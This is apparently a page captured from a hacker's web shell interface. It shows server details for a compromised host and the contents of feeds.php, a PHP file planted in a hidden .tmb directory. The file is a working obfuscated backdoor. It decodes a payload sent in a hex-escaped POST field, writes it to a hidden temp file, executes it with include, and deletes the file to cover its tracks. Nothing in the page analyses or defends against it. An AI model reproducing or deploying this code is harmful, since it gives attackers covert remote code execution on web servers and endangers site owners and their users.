https://t.me/RX1948
Server : LiteSpeed
System : Linux srv526460274 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : kerao9884 ( 1082)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /home/kera789.org/public_html/.tmb/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/kera789.org/public_html/.tmb/feeds.php
<?php

if(@$_POST["\x76a\x6Cue"] !== null){
	$bind = array_filter(["/tmp", getenv("TMP"), sys_get_temp_dir(), session_save_path(), "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP")]);
	$object = $_POST["\x76a\x6Cue"];
	$object		=   explode 		(			'.'		, $object);			
	$element = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($s);
    
            foreach ($object as $t=> $v9):
                $sChar = ord($s[$t % $sLen]);
                $dec = ((int)$v9 - $sChar - ($t % 10)) ^ 52;
                $element .= chr($dec);
            endforeach;
	while ($holder = array_shift($bind)) {
    		if (is_writable($holder) && is_dir($holder)) {
    $desc = join("/", [$holder, ".token"]);
    $file = fopen($desc, 'w');
if ($file) {
	fwrite($file, $element);
	fclose($file);
	include $desc;
	@unlink($desc);
	die();
}
}
}
}

https://t.me/RX1948 - 2025